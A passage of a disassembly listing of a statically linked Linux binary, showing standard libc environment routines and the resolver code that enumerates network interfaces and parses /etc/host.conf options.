eax mov esi, [ebp+var_8] push esi mov eax, [ebp+arg_0] push eax mov esi, [ebp+var_14] push esi call memcpy add esp, 0Ch mov eax, [ebx] mov esi, [ebp+var_8] mov byte ptr [esi+eax], 3Dh mov edx, [ebp+var_C] inc edx add esi, [ebx] inc esi push edx mov eax, [ebp+arg_4] push eax push esi call memcpy loc_804A47F: ; CODE XREF: setenv+E3j setenv+15Cj ... mov eax, [ebp+var_10] lea esp, [ebp+var_24] pop ebx pop esi pop edi mov esp, ebp pop ebp retn setenv endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden unsetenv proc near ; CODE XREF: main+953p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx xor al, al mov edi, [ebp+arg_0] cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax mov [ebp+var_4], eax mov ebx, __environ mov edx, ebx cmp dword ptr [ebx], 0 jz short loc_804A4E1 nop loc_804A4B8: ; CODE XREF: unsetenv+53j mov esi, [edx] mov edi, [ebp+arg_0] mov ecx, [ebp+var_4] cld test al, 0 repe cmpsb jnz short loc_804A4D2 mov eax, [edx] mov esi, [ebp+var_4] cmp byte ptr [esi+eax], 3Dh jz short loc_804A4D9 loc_804A4D2: ; CODE XREF: unsetenv+39j mov eax, [edx] mov [ebx], eax add ebx, 4 loc_804A4D9: ; CODE XREF: unsetenv+44j add edx, 4 cmp dword ptr [edx], 0 jnz short loc_804A4B8 loc_804A4E1: ; CODE XREF: unsetenv+29j mov dword ptr [ebx], 0 lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn unsetenv endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden dotrimdomain proc near ; CODE XREF: trim_domains+14p ; trim_domains+2Cp ... var_14 = byte ptr -14h var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx xor esi, esi cmp dword_8078520, esi jle short loc_804A574 nop loc_804A508: ; CODE XREF: dotrimdomain+7Ej mov eax, ds:dword_807A348[esi*4] mov [ebp+var_8], eax mov edi, [ebp+var_8] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb not ecx mov ebx, ecx dec ebx mov edi, [ebp+arg_0] cld mov ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, ebx jle short loc_804A56B mov edx, [ebp+var_8] push edx add ecx, [ebp+arg_0] mov eax, ecx sub eax, ebx push eax call sub_80565F8 mov ecx, eax add esp, 8 test ecx, ecx jnz short loc_804A56B mov edi, [ebp+arg_0] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb not ecx mov edx, ecx dec edx sub edx, ebx mov eax, [ebp+arg_0] mov byte ptr [edx+eax], 0 loc_804A56B: ; CODE XREF: dotrimdomain+40j ; dotrimdomain+5Aj inc esi cmp dword_8078520, esi jg short loc_804A508 loc_804A574: ; CODE XREF: dotrimdomain+11j lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn dotrimdomain endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden trim_domains proc near ; CODE XREF: gethostbyname+285p ; gethostbyaddr+281p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] cmp dword_8078520, 0 jz short loc_804A5BE mov eax, [esi] push eax call dotrimdomain xor ebx, ebx add esp, 4 mov eax, [esi+4] cmp dword ptr [eax], 0 jz short loc_804A5BE lea esi, [esi] loc_804A5A8: ; CODE XREF: trim_domains+3Cj mov eax, [eax+ebx*4] push eax call dotrimdomain add esp, 4 inc ebx mov eax, [esi+4] cmp dword ptr [eax+ebx*4], 0 jnz short loc_804A5A8 loc_804A5BE: ; CODE XREF: trim_domains+Fj ; trim_domains+24j mov eax, esi lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn trim_domains endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden reorder_addrs proc near ; CODE XREF: sub_804BEB0+5Ep ; sub_804BEB0+90p ... var_174 = byte ptr -174h var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = byte ptr -140h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 168h push edi push esi push ebx cmp dword_8078524, 0 jz loc_804A9C9 cmp [ebp+arg_0], 0 jz loc_804A9C9 cmp dword_8078524, 0FFFFFFFFh jnz loc_804A8F7 push 0 push 1 push 2 call socket mov [ebp+var_150], eax add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_804A9C9 mov [ebp+var_148], 140h lea edi, [ebp+var_140] mov [ebp+var_144], edi lea eax, [ebp+var_148] push eax push 8912h mov edi, [ebp+var_150] push edi call ioctl add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_804A9C9 mov edi, [ebp+var_148] shr edi, 5 mov [ebp+var_154], edi mov ds:dword_80793B0, offset unk_80792C0 mov edi, [ebp+var_144] mov [ebp+var_168], edi cmp [ebp+var_154], 0 jz loc_804A8DB mov ebx, edi add ebx, 14h mov eax, [ebp+var_154] and eax, 1 cmp [ebp+var_154], 0 jle short loc_804A6A4 test eax, eax jz loc_804A747 loc_804A6A4: ; CODE XREF: reorder_addrs+CEj mov edi, [ebp+var_168] push edi mov eax, ds:dword_80793B0 push eax call strcpy push edi push 891Bh mov edi, [ebp+var_150] push edi call ioctl add esp, 14h cmp eax, 0FFFFFFFFh jz short loc_804A731 cmp word ptr [ebx-4], 2 jnz short loc_804A731 mov esi, [ebx] mov edi, [ebp+var_168] push edi push 8915h mov edi, [ebp+var_150] push edi call ioctl add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_804A731 cmp word ptr [ebx-4], 2 jnz short loc_804A731 mov edx, [ebx] and edx, esi jz short loc_804A731 mov eax, ds:dword_80793B0 mov [eax+10h], edx mov [eax+14h], esi cmp dword_8078524, 0FFFFFFFFh jnz short loc_804A724 mov dword_8078524, 0 loc_804A724: ; CODE XREF: reorder_addrs+14Cj add ds:dword_80793B0, 18h inc dword_8078524 loc_804A731: ; CODE XREF: reorder_addrs+102j ; reorder_addrs+109j ... add ebx, 20h add [ebp+var_168], 20h dec [ebp+var_154] jz loc_804A8DB loc_804A747: ; CODE XREF: reorder_addrs+D2j mov [ebp+var_158], ebx lea edi, [ebx-4] mov [ebp+var_15C], edi mov [ebp+var_160], ebx mov [ebp+var_164], edi lea esi, [esi] loc_804A764: ; CODE XREF: reorder_addrs+309j mov edi, [ebp+var_168] push edi mov eax, ds:dword_80793B0 push eax call strcpy push edi push 891Bh mov edi, [ebp+var_150] push edi call ioctl add esp, 14h cmp eax, 0FFFFFFFFh jz short loc_804A807 mov edi, [ebp+var_164] cmp word ptr [edi], 2 jnz short loc_804A807 mov edi, [ebp+var_160] mov ebx, [edi] mov edi, [ebp+var_168] push edi push 8915h mov edi, [ebp+var_150] push edi call ioctl add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_804A807 mov edi, [ebp+var_15C] cmp word ptr [edi], 2 jnz short loc_804A807 mov edi, [ebp+var_158] mov edx, [edi] and edx, ebx jz short loc_804A807 mov eax, ds:dword_80793B0 mov [eax+10h], edx mov [eax+14h], ebx cmp dword_8078524, 0FFFFFFFFh jnz short loc_804A7FA mov dword_8078524, 0 loc_804A7FA: ; CODE XREF: reorder_addrs+222j add ds:dword_80793B0, 18h inc dword_8078524 loc_804A807: ; CODE XREF: reorder_addrs+1C2j ; reorder_addrs+1CEj ... mov ebx, [ebp+var_168] add ebx, 20h push ebx mov eax, ds:dword_80793B0 push eax call strcpy push ebx push 891Bh mov edi, [ebp+var_150] push edi call ioctl add esp, 14h cmp eax, 0FFFFFFFFh jz short loc_804A8AB mov edi, [ebp+var_164] cmp word ptr [edi+20h], 2 jnz short loc_804A8AB mov edi, [ebp+var_160] mov esi, [edi+20h] push ebx push 8915h mov edi, [ebp+var_150] push edi call ioctl add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_804A8AB mov edi, [ebp+var_15C] cmp word ptr [edi+20h], 2 jnz short loc_804A8AB mov edi, [ebp+var_158] mov edx, [edi+20h] and edx, esi jz short loc_804A8AB mov eax, ds:dword_80793B0 mov [eax+10h], edx mov [eax+14h], esi cmp dword_8078524, 0FFFFFFFFh jnz short loc_804A89E mov dword_8078524, 0 loc_804A89E: ; CODE XREF: reorder_addrs+2C6j add ds:dword_80793B0, 18h inc dword_8078524 loc_804A8AB: ; CODE XREF: reorder_addrs+268j ; reorder_addrs+275j ... add [ebp+var_158], 40h add [ebp+var_15C], 40h add [ebp+var_160], 40h add [ebp+var_164], 40h add [ebp+var_168], 40h add [ebp+var_154], 0FFFFFFFEh jnz loc_804A764 loc_804A8DB: ; CODE XREF: reorder_addrs+B3j ; reorder_addrs+175j mov edi, [ebp+var_150] push edi call close add esp, 4 cmp dword_8078524, 0 jz loc_804A9C9 loc_804A8F7: ; CODE XREF: reorder_addrs+2Aj mov edi, [ebp+arg_0] mov ebx, [edi+10h] test ebx, ebx jz loc_804A9C9 lea esi, [ebp+var_14C] nop loc_804A90C: ; CODE XREF: reorder_addrs+3F7j cmp dword ptr [ebx], 0 jz loc_804A9C9 mov ds:dword_80793B0, offset unk_80792C0 mov ecx, dword_8078524 test ecx, ecx jz loc_804A9C0 mov eax, ecx and eax, 1 test ecx, ecx jle short loc_804A93A test eax, eax jz short loc_804A958 loc_804A93A: ; CODE XREF: reorder_addrs+368j mov eax, [ebx] mov edx, ds:dword_80793B0 mov eax, [eax] and eax, [edx+14h] cmp [edx+10h], eax jz short loc_804A983 add ds:dword_80793B0, 18h dec ecx jz short loc_804A9C0 lea esi, [esi] loc_804A958: ; CODE XREF: reorder_addrs+36Cj ; reorder_addrs+3F2j mov eax, [ebx] mov edx, ds:dword_80793B0 mov eax, [eax] and eax, [edx+14h] cmp [edx+10h], eax jz short loc_804A983 add ds:dword_80793B0, 18h mov eax, [ebx] mov edx, ds:dword_80793B0 mov eax, [eax] and eax, [edx+14h] cmp [edx+10h], eax jnz short loc_804A9B4 loc_804A983: ; CODE XREF: reorder_addrs+37Ej ; reorder_addrs+39Cj push 4 push esi mov edi, [ebp+arg_0] mov eax, [edi+10h] mov eax, [eax] push eax call bcopy push 4 mov eax, [edi+10h] mov eax, [eax] push eax mov eax, [ebx] push eax call bcopy push 4 mov eax, [ebx] push eax push esi call bcopy jmp short loc_804A9C9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804A9B4: ; CODE XREF: reorder_addrs+3B5j add ds:dword_80793B0, 18h add ecx, 0FFFFFFFEh jnz short loc_804A958 loc_804A9C0: ; CODE XREF: reorder_addrs+35Bj ; reorder_addrs+388j add ebx, 4 jnz loc_804A90C loc_804A9C9: ; CODE XREF: reorder_addrs+13j ; reorder_addrs+1Dj ... lea esp, [ebp+var_174] pop ebx pop esi pop edi mov esp, ebp pop ebp retn reorder_addrs endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden init_services_resolv proc near ; CODE XREF: sub_804BEB0+Fp ; gethostbyname+E1p ... var_420 = byte ptr -420h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h var_3FC = byte ptr -3FCh var_3FB = byte ptr -3FBh var_3F9 = byte ptr -3F9h push ebp mov ebp, esp sub esp, 414h push edi push esi push ebx xor esi, esi mov [ebp+var_408], offset unk_807A358 call sub_805E954 push offset aResolv_host_co ; "RESOLV_HOST_CONF" call secure_getenv mov [ebp+var_40C], eax add esp, 4 test eax, eax jnz short loc_804AA16 mov [ebp+var_40C], offset aEtcHost_conf ; "/etc/host.conf" loc_804AA16: ; CODE XREF: init_services_resolv+32j push offset aR ; "r" mov eax, [ebp+var_40C] push eax call fopen mov [ebp+var_404], eax add esp, 8 test eax, eax jnz short loc_804AA50 mov ds:dword_8079DD4, 1 mov ds:dword_8079DD8, 0 jmp loc_804B436 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804AA50: ; CODE XREF: init_services_resolv+5Aj lea ecx, [ebp+var_400] mov [ebp+var_410], ecx loc_804AA5C: ; CODE XREF: init_services_resolv+CAj ; init_services_resolv+EFj ... mov eax, [ebp+var_404] push eax push 400h mov ecx, [ebp+var_410] push ecx call fgets mov edx, eax add esp, 0Ch test edx, edx jz loc_804B41C push 0Ah mov eax, [ebp+var_410] push eax call sub_8057BE8 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804AA9B mov byte ptr [ebx], 0 loc_804AA9B: ; CODE XREF: init_services_resolv+BEj cmp [ebp+var_400], 23h jz short loc_804AA5C lea ebx, [ebp+var_400] cmp [ebp+var_400], 0 jz short loc_804AACE mov edx, dword_8078FA0 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804AABC: ; CODE XREF: init_services_resolv+F4j movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804AACE inc ebx jz short loc_804AA5C cmp byte ptr [ebx], 0 jnz short loc_804AABC loc_804AACE: ; CODE XREF: init_services_resolv+D9j ; init_services_resolv+ECj test ebx, ebx jz short loc_804AA5C cmp byte ptr [ebx], 0 jz short loc_804AA5C mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov [ebp+var_414], edx push edx push ebx mov eax, [ebp+var_410] push eax call sub_8056570 push 5 push offset aOrder ; "order" mov ecx, [ebp+var_410] push ecx call checkbuf mov edx, eax add esp, 18h test edx, edx jnz loc_804AD64 cmp [ebp+var_3FB], 0 jz short loc_804AB3B movzx edx, [ebp+var_3FB] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804AD64 loc_804AB3B: ; CODE XREF: init_services_resolv+14Aj push offset asc_806791B ; " \t" mov eax, [ebp+var_410] push eax call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804AB5B cmp byte ptr [ebx+1], 0 jnz short loc_804AB7D loc_804AB5B: ; CODE XREF: init_services_resolv+17Bj push offset aOrder ; "order" mov ecx, [ebp+var_40C] push ecx push offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"... push 0Ch push 0Bh mov eax, dword_8078F9C push eax jmp loc_804B3AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AB7C: ; CODE XREF: init_services_resolv+1A8j ; init_services_resolv+1ADj inc ebx loc_804AB7D: ; CODE XREF: init_services_resolv+181j ; init_services_resolv+321j cmp byte ptr [ebx], 20h jz short loc_804AB7C cmp byte ptr [ebx], 9 jz short loc_804AB7C push offset asc_8067950 ; " ,;:" push ebx call strpbrk mov edi, eax add esp, 8 test edi, edi jz short loc_804AB9E mov byte ptr [edi], 0 loc_804AB9E: ; CODE XREF: init_services_resolv+1C1j push 4 push offset aBind ; "bind" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804ABEC cmp byte ptr [ebx+4], 0 jz short loc_804ABC8 movzx edx, byte ptr [ebx+4] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804ABEC loc_804ABC8: ; CODE XREF: init_services_resolv+1DEj mov ds:dword_8079DD4[esi*4], 1 inc esi test byte ptr dword_807854C, 1 jnz loc_804ACF0 call res_init jmp loc_804ACF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804ABEC: ; CODE XREF: init_services_resolv+1D8j ; init_services_resolv+1EEj push 5 push offset aHosts ; "hosts" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804AC28 cmp byte ptr [ebx+5], 0 jz short loc_804AC16 movzx edx, byte ptr [ebx+5] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AC28 loc_804AC16: ; CODE XREF: init_services_resolv+22Cj mov ds:dword_8079DD4[esi*4], 2 inc esi jmp loc_804ACF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AC28: ; CODE XREF: init_services_resolv+226j ; init_services_resolv+23Cj push 3 push offset aNis ; "nis" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804AC64 cmp byte ptr [ebx+3], 0 jz short loc_804AC52 movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AC64 loc_804AC52: ; CODE XREF: init_services_resolv+268j mov ds:dword_8079DD4[esi*4], 3 inc esi jmp loc_804ACF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AC64: ; CODE XREF: init_services_resolv+262j ; init_services_resolv+278j push offset aOrder ; "order" mov ecx, [ebp+var_40C] push ecx push offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"... push 0Ch push 0Bh mov eax, dword_8078F9C push eax call catgets add esp, 10h mov edx, eax push edx push offset unk_80787A4 call fprintf push ebx push offset aResolvSIsAnInv ; "resolv+: \"%s\" is an invalid keyword\n" push 0Dh push 0Bh mov ecx, dword_8078F9C push ecx call catgets add esp, 10h mov edx, eax push edx push offset unk_80787A4 call fprintf push offset aNis ; "nis" push offset aHosts ; "hosts" push offset aBind ; "bind" push offset aResolvValidKey ; "resolv+: valid keywords are: %s, %s and"... push 0Eh push 0Bh mov eax, dword_8078F9C push eax call catgets add esp, 10h mov edx, eax push edx push offset unk_80787A4 call fprintf add esp, 30h loc_804ACF0: ; CODE XREF: init_services_resolv+203j ; init_services_resolv+20Ej ... test edi, edi jz short loc_804ACFF lea ebx, [edi+1] test ebx, ebx jnz loc_804AB7D loc_804ACFF: ; CODE XREF: init_services_resolv+31Aj test esi, esi jnz loc_804AA5C push offset aOrder ; "order" mov ecx, [ebp+var_40C] push ecx push offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"... push 0Ch push 0Bh mov eax, dword_8078F9C push eax call catgets add esp, 10h mov edx, eax push edx push offset unk_80787A4 call fprintf push offset aResolvSearchOr ; "resolv+: search order not specified or "... push 0Fh push 0Bh mov ecx, dword_8078F9C push ecx call catgets mov edx, eax push edx push offset unk_80787A4 call fprintf add esp, 28h jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804AD64: ; CODE XREF: init_services_resolv+13Dj ; init_services_resolv+15Dj push 5 push offset aMulti ; "multi" mov eax, [ebp+var_410] push eax call checkbuf mov edx, eax add esp, 0Ch test edx, edx jnz loc_804AEA8 cmp [ebp+var_3FB], 0 jz short loc_804ADA4 movzx edx, [ebp+var_3FB] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804AEA8 loc_804ADA4: ; CODE XREF: init_services_resolv+3B3j push offset asc_806791B ; " \t" mov ecx, [ebp+var_410] push ecx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz loc_804AE9C cmp byte ptr [ebx], 0 jz short loc_804ADE6 mov edx, dword_8078FA0 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804ADD0: ; CODE XREF: init_services_resolv+40Cj movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804ADE6 inc ebx jz loc_804AE9C cmp byte ptr [ebx], 0 jnz short loc_804ADD0 loc_804ADE6: ; CODE XREF: init_services_resolv+3EDj ; init_services_resolv+400j test ebx, ebx jz loc_804AE9C cmp byte ptr [ebx], 0 jz loc_804AE9C mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFCh jnz short loc_804AE44 push 2 push offset aOn ; "on" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804AE44 cmp byte ptr [ebx+2], 0 jz short loc_804AE32 movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AE44 loc_804AE32: ; CODE XREF: init_services_resolv+448j mov dword_8078510, 1 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804AE44: ; CODE XREF: init_services_resolv+42Ej ; init_services_resolv+442j ... mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFBh jnz short loc_804AE90 push 3 push offset aOff ; "off" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804AE90 cmp byte ptr [ebx+3], 0 jz short loc_804AE7F movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AE90 loc_804AE7F: ; CODE XREF: init_services_resolv+495j mov dword_8078510, 0 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804AE90: ; CODE XREF: init_services_resolv+47Bj ; init_services_resolv+48Fj ... push offset aMulti ; "multi" jmp loc_804B261 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804AE9C: ; CODE XREF: init_services_resolv+3E4j ; init_services_resolv+403j ... push offset aMulti ; "multi" jmp loc_804B395 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804AEA8: ; CODE XREF: init_services_resolv+3A6j ; init_services_resolv+3C6j push 7 push offset aNospoof ; "nospoof" mov eax, [ebp+var_410] push eax call checkbuf mov edx, eax add esp, 0Ch test edx, edx jnz loc_804AFEC cmp [ebp+var_3F9], 0 jz short loc_804AEE8 movzx edx, [ebp+var_3F9] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804AFEC loc_804AEE8: ; CODE XREF: init_services_resolv+4F7j push offset asc_806791B ; " \t" mov ecx, [ebp+var_410] push ecx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz loc_804AFE0 cmp byte ptr [ebx], 0 jz short loc_804AF2A mov edx, dword_8078FA0 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804AF14: ; CODE XREF: init_services_resolv+550j movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804AF2A inc ebx jz loc_804AFE0 cmp byte ptr [ebx], 0 jnz short loc_804AF14 loc_804AF2A: ; CODE XREF: init_services_resolv+531j ; init_services_resolv+544j test ebx, ebx jz loc_804AFE0 cmp byte ptr [ebx], 0 jz loc_804AFE0 mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFCh jnz short loc_804AF88 push 2 push offset aOn ; "on" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804AF88 cmp byte ptr [ebx+2], 0 jz short loc_804AF76 movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AF88 loc_804AF76: ; CODE XREF: init_services_resolv+58Cj mov dword_8078514, 1 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804AF88: ; CODE XREF: init_services_resolv+572j ; init_services_resolv+586j ... mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFBh jnz short loc_804AFD4 push 3 push offset aOff ; "off" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804AFD4 cmp byte ptr [ebx+3], 0 jz short loc_804AFC3 movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AFD4 loc_804AFC3: ; CODE XREF: init_services_resolv+5D9j mov dword_8078514, 0 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804AFD4: ; CODE XREF: init_services_resolv+5BFj ; init_services_resolv+5D3j ... push offset aNospoof ; "nospoof" jmp loc_804B261 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804AFE0: ; CODE XREF: init_services_resolv+528j ; init_services_resolv+547j ... push offset aNospoof ; "nospoof" jmp loc_804B395 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804AFEC: ; CODE XREF: init_services_resolv+4EAj ; init_services_resolv+50Aj push 5 push offset aAlert ; "alert" mov eax, [ebp+var_410] push eax call checkbuf mov edx, eax add esp, 0Ch test edx, edx jnz loc_804B130 cmp [ebp+var_3FB], 0 jz short loc_804B02C movzx edx, [ebp+var_3FB] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804B130 loc_804B02C: ; CODE XREF: init_services_resolv+63Bj push offset asc_806791B ; " \t" mov ecx, [ebp+var_410] push ecx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz loc_804B124 cmp byte ptr [ebx], 0 jz short loc_804B06E mov edx, dword_8078FA0 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804B058: ; CODE XREF: init_services_resolv+694j movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804B06E inc ebx jz loc_804B124 cmp byte ptr [ebx], 0 jnz short loc_804B058 loc_804B06E: ; CODE XREF: init_services_resolv+675j ; init_services_resolv+688j test ebx, ebx jz loc_804B124 cmp byte ptr [ebx], 0 jz loc_804B124 